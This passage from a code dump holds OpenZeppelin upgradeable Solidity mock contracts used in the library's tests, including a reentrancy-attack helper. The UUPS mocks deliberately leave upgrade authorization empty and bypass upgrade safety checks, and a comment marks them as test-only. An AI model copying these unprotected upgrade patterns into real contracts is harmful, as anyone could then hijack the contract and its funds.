__MerkleProofWrapper_init_unchained();
}
function __MerkleProofWrapper_init_unchained() internal onlyInitializing {
}
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) public pure returns (bool) {
return MerkleProofUpgradeable.verify(proof, root, leaf);
}
function processProof(bytes32[] memory proof, bytes32 leaf) public pure returns (bytes32) {
return MerkleProofUpgradeable.processProof(proof, leaf);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MulticallTestUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MulticallTokenMockUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract MulticallTestUpgradeable is Initializable {
function __MulticallTest_init() internal onlyInitializing {
__MulticallTest_init_unchained();
}
function __MulticallTest_init_unchained() internal onlyInitializing {
}
function testReturnValues(
MulticallTokenMockUpgradeable multicallToken,
address[] calldata recipients,
uint256[] calldata amounts
) external {
bytes[] memory calls = new bytes[](recipients.length);
for (uint256 i = 0; i < recipients.length; i++) {
calls[i] = abi.encodeWithSignature("transfer(address,uint256)", recipients[i], amounts[i]);
}
bytes[] memory results = multicallToken.multicall(calls);
for (uint256 i = 0; i < results.length; i++) {
require(abi.decode(results[i], (bool)));
}
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MulticallTokenMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/MulticallUpgradeable.sol";
import "./ERC20MockUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract MulticallTokenMockUpgradeable is Initializable, ERC20MockUpgradeable, MulticallUpgradeable {
function __MulticallTokenMock_init(uint256 initialBalance) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained("MulticallToken", "BCT");
__ERC20Mock_init_unchained("MulticallToken", "BCT", msg.sender, initialBalance);
__Multicall_init_unchained();
__MulticallTokenMock_init_unchained(initialBalance);
}
function __MulticallTokenMock_init_unchained(uint256 initialBalance) internal onlyInitializing {}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/MultipleInheritanceInitializableMocks.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
// Sample contracts showing upgradeability with multiple inheritance.
// Child contract inherits from Father and Mother contracts, and Father extends from Gramps.
//
// Human
// / \
// | Gramps
// | |
// Mother Father
// | |
// -- Child --
/**
* Sample base intializable contract that is a human
*/
contract SampleHuman is Initializable {
bool public isHuman;
function initialize() public initializer {
__SampleHuman_init();
}
// solhint-disable-next-line func-name-mixedcase
function __SampleHuman_init() internal onlyInitializing {
__SampleHuman_init_unchained();
}
// solhint-disable-next-line func-name-mixedcase
function __SampleHuman_init_unchained() internal onlyInitializing {
isHuman = true;
}
}
/**
* Sample base intializable contract that defines a field mother
*/
contract SampleMother is Initializable, SampleHuman {
uint256 public mother;
function initialize(uint256 value) public virtual initializer {
__SampleMother_init(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleMother_init(uint256 value) internal onlyInitializing {
__SampleHuman_init();
__SampleMother_init_unchained(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleMother_init_unchained(uint256 value) internal onlyInitializing {
mother = value;
}
}
/**
* Sample base intializable contract that defines a field gramps
*/
contract SampleGramps is Initializable, SampleHuman {
string public gramps;
function initialize(string memory value) public virtual initializer {
__SampleGramps_init(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleGramps_init(string memory value) internal onlyInitializing {
__SampleHuman_init();
__SampleGramps_init_unchained(value);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleGramps_init_unchained(string memory value) internal onlyInitializing {
gramps = value;
}
}
/**
* Sample base intializable contract that defines a field father and extends from gramps
*/
contract SampleFather is Initializable, SampleGramps {
uint256 public father;
function initialize(string memory _gramps, uint256 _father) public initializer {
__SampleFather_init(_gramps, _father);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleFather_init(string memory _gramps, uint256 _father) internal onlyInitializing {
__SampleGramps_init(_gramps);
__SampleFather_init_unchained(_father);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleFather_init_unchained(uint256 _father) internal onlyInitializing {
father = _father;
}
}
/**
* Child extends from mother, father (gramps)
*/
contract SampleChild is Initializable, SampleMother, SampleFather {
uint256 public child;
function initialize(
uint256 _mother,
string memory _gramps,
uint256 _father,
uint256 _child
) public initializer {
__SampleChild_init(_mother, _gramps, _father, _child);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleChild_init(
uint256 _mother,
string memory _gramps,
uint256 _father,
uint256 _child
) internal onlyInitializing {
__SampleMother_init(_mother);
__SampleFather_init(_gramps, _father);
__SampleChild_init_unchained(_child);
}
// solhint-disable-next-line func-name-mixedcase
function __SampleChild_init_unchained(uint256 _child) internal onlyInitializing {
child = _child;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/OwnableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/OwnableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract OwnableMockUpgradeable is Initializable, OwnableUpgradeable { function __OwnableMock_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
__OwnableMock_init_unchained();
}
function __OwnableMock_init_unchained() internal onlyInitializing {
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/PausableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../security/PausableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract PausableMockUpgradeable is Initializable, PausableUpgradeable {
bool public drasticMeasureTaken;
uint256 public count;
function __PausableMock_init() internal onlyInitializing {
__Context_init_unchained();
__Pausable_init_unchained();
__PausableMock_init_unchained();
}
function __PausableMock_init_unchained() internal onlyInitializing {
drasticMeasureTaken = false;
count = 0;
}
function normalProcess() external whenNotPaused {
count++;
}
function drasticMeasure() external whenPaused {
drasticMeasureTaken = true;
}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/PullPaymentMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../security/PullPaymentUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
// mock class using PullPayment
contract PullPaymentMockUpgradeable is Initializable, PullPaymentUpgradeable {
function __PullPaymentMock_init() internal onlyInitializing {
__PullPayment_init_unchained();
__PullPaymentMock_init_unchained();
}
function __PullPaymentMock_init_unchained() internal onlyInitializing {}
// test helper function to call asyncTransfer
function callTransfer(address dest, uint256 amount) public {
_asyncTransfer(dest, amount);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ReentrancyAttackUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ReentrancyAttackUpgradeable is Initializable, ContextUpgradeable {
function __ReentrancyAttack_init() internal onlyInitializing {
__Context_init_unchained();
__ReentrancyAttack_init_unchained();
}
function __ReentrancyAttack_init_unchained() internal onlyInitializing {
}
function callSender(bytes4 data) public {
(bool success, ) = _msgSender().call(abi.encodeWithSelector(data));
require(success, "ReentrancyAttack: failed call");
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ReentrancyMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../security/ReentrancyGuardUpgradeable.sol";
import "./ReentrancyAttackUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ReentrancyMockUpgradeable is Initializable, ReentrancyGuardUpgradeable {
uint256 public counter;
function __ReentrancyMock_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
__ReentrancyMock_init_unchained();
}
function __ReentrancyMock_init_unchained() internal onlyInitializing {
counter = 0;
}
function callback() external nonReentrant {
_count();
}
function countLocalRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
countLocalRecursive(n - 1);
}
}
function countThisRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1));
require(success, "ReentrancyMock: failed call");
}
}
function countAndCall(ReentrancyAttackUpgradeable attacker) public nonReentrant {
_count();
bytes4 func = bytes4(keccak256("callback()"));
attacker.callSender(func);
}
function _count() private {
counter += 1;
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/RegressionImplementation.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
contract Implementation1 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
}
contract Implementation2 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
function getValue() public view returns (uint256) {
return _value;
}
}
contract Implementation3 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
function getValue(uint256 _number) public view returns (uint256) {
return _value + _number;
}
}
contract Implementation4 is Initializable {
uint256 internal _value;
function initialize() public initializer {}
function setValue(uint256 _number) public {
_value = _number;
}
function getValue() public view returns (uint256) {
return _value;
}
fallback() external {
_value = 1;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SafeCastMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/SafeCastUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract SafeCastMockUpgradeable is Initializable {
function __SafeCastMock_init() internal onlyInitializing {
__SafeCastMock_init_unchained();
}
function __SafeCastMock_init_unchained() internal onlyInitializing {
}
using SafeCastUpgradeable for uint256;
using SafeCastUpgradeable for int256;
function toUint256(int256 a) public pure returns (uint256) {
return a.toUint256();
}
function toUint224(uint256 a) public pure returns (uint224) {
return a.toUint224();
}
function toUint128(uint256 a) public pure returns (uint128) {
return a.toUint128();
}
function toUint96(uint256 a) public pure returns (uint96) {
return a.toUint96();
}
function toUint64(uint256 a) public pure returns (uint64) {
return a.toUint64();
}
function toUint32(uint256 a) public pure returns (uint32) {
return a.toUint32();
}
function toUint16(uint256 a) public pure returns (uint16) {
return a.toUint16();
}
function toUint8(uint256 a) public pure returns (uint8) {
return a.toUint8();
}
function toInt256(uint256 a) public pure returns (int256) {
return a.toInt256();
}
function toInt128(int256 a) public pure returns (int128) {
return a.toInt128();
}
function toInt64(int256 a) public pure returns (int64) {
return a.toInt64();
}
function toInt32(int256 a) public pure returns (int32) {
return a.toInt32();
}
function toInt16(int256 a) public pure returns (int16) {
return a.toInt16();
}
function toInt8(int256 a) public pure returns (int8) {
return a.toInt8();
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SafeERC20HelperUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../token/ERC20/IERC20Upgradeable.sol";
import "../token/ERC20/utils/SafeERC20Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20ReturnFalseMockUpgradeable is Initializable, ContextUpgradeable {
function __ERC20ReturnFalseMock_init() internal onlyInitializing {
__Context_init_unchained();
__ERC20ReturnFalseMock_init_unchained();
}
function __ERC20ReturnFalseMock_init_unchained() internal onlyInitializing {
}
uint256 private _allowance;
// IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,
// we write to a dummy state variable.
uint256 private _dummy;
function transfer(address, uint256) public returns (bool) {
_dummy = 0;
return false;
}
function transferFrom(
address,
address,
uint256
) public returns (bool) {
_dummy = 0;
return false;
}
function approve(address, uint256) public returns (bool) {
_dummy = 0;
return false;
}
function allowance(address, address) public view returns (uint256) {
require(_dummy == 0); // Duummy read from a state variable so that the function is view
return 0;
}
uint256[48] private __gap;
}
contract ERC20ReturnTrueMockUpgradeable is Initializable, ContextUpgradeable {
function __ERC20ReturnTrueMock_init() internal onlyInitializing {
__Context_init_unchained();
__ERC20ReturnTrueMock_init_unchained();
}
function __ERC20ReturnTrueMock_init_unchained() internal onlyInitializing {
}
mapping(address => uint256) private _allowances;
// IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,
// we write to a dummy state variable.
uint256 private _dummy;
function transfer(address, uint256) public returns (bool) {
_dummy = 0;
return true;
}
function transferFrom(
address,
address,
uint256
) public returns (bool) {
_dummy = 0;
return true;
}
function approve(address, uint256) public returns (bool) {
_dummy = 0;
return true;
}
function setAllowance(uint256 allowance_) public {
_allowances[_msgSender()] = allowance_;
}
function allowance(address owner, address) public view returns (uint256) {
return _allowances[owner];
}
uint256[48] private __gap;
}
contract ERC20NoReturnMockUpgradeable is Initializable, ContextUpgradeable {
function __ERC20NoReturnMock_init() internal onlyInitializing {
__Context_init_unchained();
__ERC20NoReturnMock_init_unchained();
}
function __ERC20NoReturnMock_init_unchained() internal onlyInitializing {
}
mapping(address => uint256) private _allowances;
// IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,
// we write to a dummy state variable.
uint256 private _dummy;
function transfer(address, uint256) public {
_dummy = 0;
}
function transferFrom(
address,
address,
uint256
) public {
_dummy = 0;
}
function approve(address, uint256) public {
_dummy = 0;
}
function setAllowance(uint256 allowance_) public {
_allowances[_msgSender()] = allowance_;
}
function allowance(address owner, address) public view returns (uint256) {
return _allowances[owner];
}
uint256[48] private __gap;
}
contract SafeERC20WrapperUpgradeable is Initializable, ContextUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
IERC20Upgradeable private _token;
function __SafeERC20Wrapper_init(IERC20Upgradeable token) internal onlyInitializing {
__Context_init_unchained();
__SafeERC20Wrapper_init_unchained(token);
}
function __SafeERC20Wrapper_init_unchained(IERC20Upgradeable token) internal onlyInitializing {
_token = token;
}
function transfer() public {
_token.safeTransfer(address(0), 0);
}
function transferFrom() public {
_token.safeTransferFrom(address(0), address(0), 0);
}
function approve(uint256 amount) public {
_token.safeApprove(address(0), amount);
}
function increaseAllowance(uint256 amount) public {
_token.safeIncreaseAllowance(address(0), amount);
}
function decreaseAllowance(uint256 amount) public {
_token.safeDecreaseAllowance(address(0), amount);
}
function setAllowance(uint256 allowance_) public {
ERC20ReturnTrueMockUpgradeable(address(_token)).setAllowance(allowance_);
}
function allowance() public view returns (uint256) {
return _token.allowance(address(0), address(0));
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SafeMathMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/SafeMathUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract SafeMathMockUpgradeable is Initializable {
function __SafeMathMock_init() internal onlyInitializing {
__SafeMathMock_init_unchained();
}
function __SafeMathMock_init_unchained() internal onlyInitializing {
}
function tryAdd(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMathUpgradeable.tryAdd(a, b);
}
function trySub(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMathUpgradeable.trySub(a, b);
}
function tryMul(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMathUpgradeable.tryMul(a, b);
}
function tryDiv(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMathUpgradeable.tryDiv(a, b);
}
function tryMod(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {
return SafeMathUpgradeable.tryMod(a, b);
}
// using the do* naming convention to avoid warnings due to clashing opcode names
function doAdd(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMathUpgradeable.add(a, b);
}
function doSub(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMathUpgradeable.sub(a, b);
}
function doMul(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMathUpgradeable.mul(a, b);
}
function doDiv(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMathUpgradeable.div(a, b);
}
function doMod(uint256 a, uint256 b) public pure returns (uint256) {
return SafeMathUpgradeable.mod(a, b);
}
function subWithMessage(
uint256 a,
uint256 b,
string memory errorMessage
) public pure returns (uint256) {
return SafeMathUpgradeable.sub(a, b, errorMessage);
}
function divWithMessage(
uint256 a,
uint256 b,
string memory errorMessage
) public pure returns (uint256) {
return SafeMathUpgradeable.div(a, b, errorMessage);
}
function modWithMessage(
uint256 a,
uint256 b,
string memory errorMessage
) public pure returns (uint256) {
return SafeMathUpgradeable.mod(a, b, errorMessage);
}
function addMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMathUpgradeable.add(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function subMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMathUpgradeable.sub(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function mulMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMathUpgradeable.mul(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function divMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMathUpgradeable.div(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
function modMemoryCheck() public pure returns (uint256 mem) {
uint256 length = 32;
assembly {
mem := mload(0x40)
}
for (uint256 i = 0; i < length; ++i) {
SafeMathUpgradeable.mod(1, 1);
}
assembly {
mem := sub(mload(0x40), mem)
}
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SignatureCheckerMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/SignatureCheckerUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract SignatureCheckerMockUpgradeable is Initializable {
function __SignatureCheckerMock_init() internal onlyInitializing {
__SignatureCheckerMock_init_unchained();
}
function __SignatureCheckerMock_init_unchained() internal onlyInitializing {
}
using SignatureCheckerUpgradeable for address;
function isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) public view returns (bool) {
return signer.isValidSignatureNow(hash, signature);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SignedSafeMathMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/math/SignedSafeMathUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract SignedSafeMathMockUpgradeable is Initializable {
function __SignedSafeMathMock_init() internal onlyInitializing {
__SignedSafeMathMock_init_unchained();
}
function __SignedSafeMathMock_init_unchained() internal onlyInitializing {
}
function mul(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMathUpgradeable.mul(a, b);
}
function div(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMathUpgradeable.div(a, b);
}
function sub(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMathUpgradeable.sub(a, b);
}
function add(int256 a, int256 b) public pure returns (int256) {
return SignedSafeMathUpgradeable.add(a, b);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/SingleInheritanceInitializableMocks.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @title MigratableMockV1
* @dev This contract is a mock to test initializable functionality through migrations
*/
contract MigratableMockV1 is Initializable {
uint256 public x;
function initialize(uint256 value) public payable initializer {
x = value;
}
}
/**
* @title MigratableMockV2
* @dev This contract is a mock to test migratable functionality with params
*/
contract MigratableMockV2 is MigratableMockV1 {
bool internal _migratedV2;
uint256 public y;
function migrate(uint256 value, uint256 anotherValue) public payable {
require(!_migratedV2);
x = value;
y = anotherValue;
_migratedV2 = true;
}
}
/**
* @title MigratableMockV3
* @dev This contract is a mock to test migratable functionality without params
*/
contract MigratableMockV3 is MigratableMockV2 {
bool internal _migratedV3;
function migrate() public payable {
require(!_migratedV3);
uint256 oldX = x;
x = y;
y = oldX;
_migratedV3 = true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/StorageSlotMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/StorageSlotUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract StorageSlotMockUpgradeable is Initializable {
function __StorageSlotMock_init() internal onlyInitializing {
__StorageSlotMock_init_unchained();
}
function __StorageSlotMock_init_unchained() internal onlyInitializing {
}
using StorageSlotUpgradeable for bytes32;
function setBoolean(bytes32 slot, bool value) public {
slot.getBooleanSlot().value = value;
}
function setAddress(bytes32 slot, address value) public {
slot.getAddressSlot().value = value;
}
function setBytes32(bytes32 slot, bytes32 value) public {
slot.getBytes32Slot().value = value;
}
function setUint256(bytes32 slot, uint256 value) public {
slot.getUint256Slot().value = value;
}
function getBoolean(bytes32 slot) public view returns (bool) {
return slot.getBooleanSlot().value;
}
function getAddress(bytes32 slot) public view returns (address) {
return slot.getAddressSlot().value;
}
function getBytes32(bytes32 slot) public view returns (bytes32) {
return slot.getBytes32Slot().value;
}
function getUint256(bytes32 slot) public view returns (uint256) {
return slot.getUint256Slot().value;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/StringsMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/StringsUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract StringsMockUpgradeable is Initializable {
function __StringsMock_init() internal onlyInitializing {
__StringsMock_init_unchained();
}
function __StringsMock_init_unchained() internal onlyInitializing {
}
function fromUint256(uint256 value) public pure returns (string memory) {
return StringsUpgradeable.toString(value);
}
function fromUint256Hex(uint256 value) public pure returns (string memory) {
return StringsUpgradeable.toHexString(value);
}
function fromUint256HexFixed(uint256 value, uint256 length) public pure returns (string memory) {
return StringsUpgradeable.toHexString(value, length);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/TimersBlockNumberImplUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/TimersUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract TimersBlockNumberImplUpgradeable is Initializable {
function __TimersBlockNumberImpl_init() internal onlyInitializing {
__TimersBlockNumberImpl_init_unchained();
}
function __TimersBlockNumberImpl_init_unchained() internal onlyInitializing {
}
using TimersUpgradeable for TimersUpgradeable.BlockNumber;
TimersUpgradeable.BlockNumber private _timer;
function getDeadline() public view returns (uint64) {
return _timer.getDeadline();
}
function setDeadline(uint64 timestamp) public {
_timer.setDeadline(timestamp);
}
function reset() public {
_timer.reset();
}
function isUnset() public view returns (bool) {
return _timer.isUnset();
}
function isStarted() public view returns (bool) {
return _timer.isStarted();
}
function isPending() public view returns (bool) {
return _timer.isPending();
}
function isExpired() public view returns (bool) {
return _timer.isExpired();
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/TimersTimestampImplUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/TimersUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract TimersTimestampImplUpgradeable is Initializable {
function __TimersTimestampImpl_init() internal onlyInitializing {
__TimersTimestampImpl_init_unchained();
}
function __TimersTimestampImpl_init_unchained() internal onlyInitializing {
}
using TimersUpgradeable for TimersUpgradeable.Timestamp;
TimersUpgradeable.Timestamp private _timer;
function getDeadline() public view returns (uint64) {
return _timer.getDeadline();
}
function setDeadline(uint64 timestamp) public {
_timer.setDeadline(timestamp);
}
function reset() public {
_timer.reset();
}
function isUnset() public view returns (bool) {
return _timer.isUnset();
}
function isStarted() public view returns (bool) {
return _timer.isStarted();
}
function isPending() public view returns (bool) {
return _timer.isPending();
}
function isExpired() public view returns (bool) {
return _timer.isExpired();
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/UUPS/TestInProdUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../CountersImplUpgradeable.sol";
import "../../proxy/utils/UUPSUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
contract UUPSUpgradeableMockUpgradeable is Initializable, CountersImplUpgradeable, UUPSUpgradeable {
function __UUPSUpgradeableMock_init() internal onlyInitializing {
__CountersImpl_init_unchained();
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
__UUPSUpgradeableMock_init_unchained();
}
function __UUPSUpgradeableMock_init_unchained() internal onlyInitializing {
}
// Not having any checks in this function is dangerous! Do not do this outside tests!
function _authorizeUpgrade(address) internal virtual override {}
uint256[50] private __gap;
}
contract UUPSUpgradeableUnsafeMockUpgradeable is Initializable, UUPSUpgradeableMockUpgradeable {
function __UUPSUpgradeableUnsafeMock_init() internal onlyInitializing {
__CountersImpl_init_unchained();
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
__UUPSUpgradeableMock_init_unchained();
__UUPSUpgradeableUnsafeMock_init_unchained();
}
function __UUPSUpgradeableUnsafeMock_init_unchained() internal onlyInitializing {
}
function upgradeTo(address newImplementation) external virtual override {
ERC1967UpgradeUpgradeable._upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual override {
ERC1967UpgradeUpgradeable._upgradeToAndCall(newImplementation, data, false);
}
uint256[50] private __gap;
}
contract UUPSUpgradeableBrokenMockUpgradeable is Initializable, UUPSUpgradeableMockUpgradeable {
function __UUPSUpgradeableBrokenMock_init() internal onlyInitializing {
__CountersImpl_init_unchained();
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
__UUPSUpgradeableMock_init_unchained();
__UUPSUpgradeableBrokenMock_init_unchained();
}
function __UUPSUpgradeableBrokenMock_init_unchained() internal onlyInitializing {
}
function upgradeTo(address) external virtual override {
// pass
}
function upgradeToAndCall(address, bytes memory) external payable virtual override {
// pass
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/WithInit.sol
================================================
pragma solidity >=0.6 <0.9;
pragma experimental ABIEncoderV2;
import "./AccessControlMockUpgradeable.sol";
contract AccessControlMockUpgradeableWithInit is AccessControlMockUpgradeable {
constructor() public payable initializer {
__AccessControlMock_init();
}
}
import "../governance/TimelockControllerUpgradeable.sol";
contract TimelockControllerUpgradeableWithInit is TimelockControllerUpgradeable {
constructor(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) public payable initializer {
__TimelockController_init(minDelay, proposers, executors);
}
}
import "./wizard/MyGovernor3Upgradeable.sol";
contract MyGovernorUpgradeableWithInit is MyGovernorUpgradeable {
constructor(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) public payable initializer {
__MyGovernor_init(_token, _timelock);
}
}
import "../token/ERC20/ERC20Upgradeable.sol";
contract ERC20UpgradeableWithInit is ERC20Upgradeable {
constructor(string memory name_, string memory symbol_) public payable initializer {
__ERC20_init(name_, symbol_);
}
}
import "./wizard/MyGovernor2Upgradeable.sol";
contract MyGovernor2UpgradeableWithInit is MyGovernor2Upgradeable {
constructor(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) public payable initializer {
__MyGovernor2_init(_token, _timelock);
}
}
import "./wizard/MyGovernor1Upgradeable.sol";
contract MyGovernor1UpgradeableWithInit is MyGovernor1Upgradeable {
constructor(ERC20VotesUpgradeable _token, TimelockControllerUpgradeable _timelock) public payable initializer {
__MyGovernor1_init(_token, _timelock);
}
}
import "./GovernorTimelockControlMockUpgradeable.sol";
contract GovernorTimelockControlMockUpgradeableWithInit is GovernorTimelockControlMockUpgradeable {
constructor(
string memory name_,
ERC20VotesUpgradeable token_,
uint256 votingDelay_,
uint256 votingPeriod_,
TimelockControllerUpgradeable timelock_,
uint256 quorumNumerator_
) public payable initializer {
__GovernorTimelockControlMock_init(name_, token_, votingDelay_, votingPeriod_, timelock_, quorumNumerator_);
}
}
import "./GovernorTimelockCompoundMockUpgradeable.sol";
